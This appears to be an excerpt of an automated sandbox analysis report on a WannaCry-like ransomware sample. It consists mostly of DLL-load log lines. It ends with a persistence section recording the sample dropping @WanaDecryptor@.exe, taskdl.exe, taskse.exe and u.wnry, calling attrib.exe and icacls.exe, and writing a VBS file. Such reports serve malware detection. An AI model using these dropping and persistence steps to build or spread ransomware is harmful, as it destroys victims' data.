          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: kernel.appcore.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: moshost.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: mapsbtsvc.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: mosstorage.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: ztrace_maps.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: bcp47langs.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: mapconfiguration.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: winhttp.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: wldp.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: windows.storage.dll
          Source: C:\Windows\System32\svchost.exeSection loaded: profapi.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dmiso8601utils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: powrprof.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: powrprof.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: iphlpapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: umpdc.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: updatepolicy.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dmcmnutils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: xmllite.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: winsqlite3.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: profapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: profapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: cabinet.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: cryptsp.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: msvcp110_win.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: msasn1.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: kernel.appcore.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: usocoreps.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: upshared.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: winhttp.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dpapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: wuapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: wups.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: wtsapi32.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: winsta.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: policymanager.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: usoapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: flightsettings.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: windows.web.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: iertutil.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: wosc.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: windows.networking.connectivity.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: npmproxy.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: wintypes.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dusmapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dcntel.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: logoncli.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netutils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ntmarta.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: utcutil.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: userenv.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: slc.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: sppc.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netapi32.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dsreg.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: enrollmentapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dmenrollengine.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: devobj.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: onesettingsclient.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ondemandconnroutehelper.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: mswsock.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: winnsi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dhcpcsvc6.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dhcpcsvc.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: webio.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: sspicli.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dnsapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: rasadhlp.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: fwpuclnt.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: schannel.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: mskeyprotect.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ntasn1.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ncrypt.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ncryptsslp.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: rsaenh.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: cryptbase.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: gpapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: cryptnet.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: utcutil.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: userenv.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: logoncli.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dcntel.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netutils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ntmarta.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: aepic.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: windows.system.profile.platformdiagnosticsandusagedatasettings.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: fcon.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: windows.security.authentication.onlineid.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ondemandconnroutehelper.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: utcutil.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: userenv.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: logoncli.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dcntel.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netutils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ntmarta.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: aepic.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ondemandconnroutehelper.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: utcutil.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: userenv.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: logoncli.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dcntel.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netutils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ntmarta.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: aepic.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ondemandconnroutehelper.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: utcutil.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: userenv.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: logoncli.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dcntel.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netutils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ntmarta.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: aepic.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ondemandconnroutehelper.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: taskschd.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dcntel.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: logoncli.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netutils.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ntmarta.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: utcutil.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: userenv.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: slc.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: sppc.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: netapi32.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dsreg.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: enrollmentapi.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: dmenrollengine.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: devobj.dll
          Source: C:\Windows\System32\MoUsoCoreWorker.exeSection loaded: ondemandconnroutehelper.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: kernel.appcore.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: uxtheme.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: propsys.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: photometadatahandler.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: windowscodecs.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: onecoreuapcommonproxystub.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
          Source: C:\Windows\System32\dllhost.exeSection loaded: thumbcache.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: cryptsp.dll
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: rsaenh.dll
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: cryptbase.dll
          Source: C:\Users\user\Desktop\f_000112.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Windows\SysWOW64\attrib.exeSection loaded: ulib.dll
          Source: C:\Windows\SysWOW64\attrib.exeSection loaded: fsutilext.dll
          Source: C:\Windows\SysWOW64\icacls.exeSection loaded: ntmarta.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Users\user\Desktop\taskdl.exeSection loaded: msvcp60.dll
          Source: C:\Windows\SysWOW64\cscript.exeKey value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32
          Source: f_000112Static file information: File size 3514368 > 1048576
          Source: f_000112Static PE information: Raw size of .rsrc is bigger than: 0x100000 < 0x34a000
          Source: Binary string: aC:\Documents and Settings\user\AppData\Local\Application Data\Application Data\Application Data\Application Data\Application Data\Google\Chrome\User Data\Default\Web Applications\Manifest Resources\fhihpiojkbmbpdjeoajapmgkhlnakfjf\Icons\96.pngp\Symbols\ntkrnlmp.pdbiceHG source: f_000112.exe, 00000000.00000003.2247946530.0000000003720000.00000004.00000020.00020000.00000000.sdmp
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10003410 wcsrchr,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,151_2_10003410
          Source: C:\Users\user\Desktop\f_000112.exeCode function: 151_2_10006BD0 push eax; ret 151_2_10006BFE

          Persistence and Installation Behavior

          barindex
          Command shell drops VBS files
          Source: C:\Windows\SysWOW64\cmd.exeFile created: C:\Users\user\Desktop\m.vbs
          Drops PE files to the document folder of the user
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
          Uses cmd line tools excessively to alter registry or file data
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: attrib.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: attrib.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: attrib.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: attrib.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: attrib.exe
          Source: C:\Users\user\Desktop\f_000112.exeProcess created: attrib.exe
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\AppData\Local\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\taskdl.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\taskse.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Documents\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Downloads\@WanaDecryptor@.exeJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Users\user\Desktop\u.wnryJump to dropped file
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD5F9E.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD5F9F.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\Java\~SD5FA0.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\~SD344B.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Microsoft\Windows\Start Menu\Programs\~SD344C.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\~SD1E8B.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\~SD1E8C.tmpJump to behavior
          Source: C:\Users\user\Desktop\f_000112.exeFile created: C:\Documents and Settings\All Users\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Start Menu\Programs\7-Zip\~SD1E8D.tmpJump to behavior
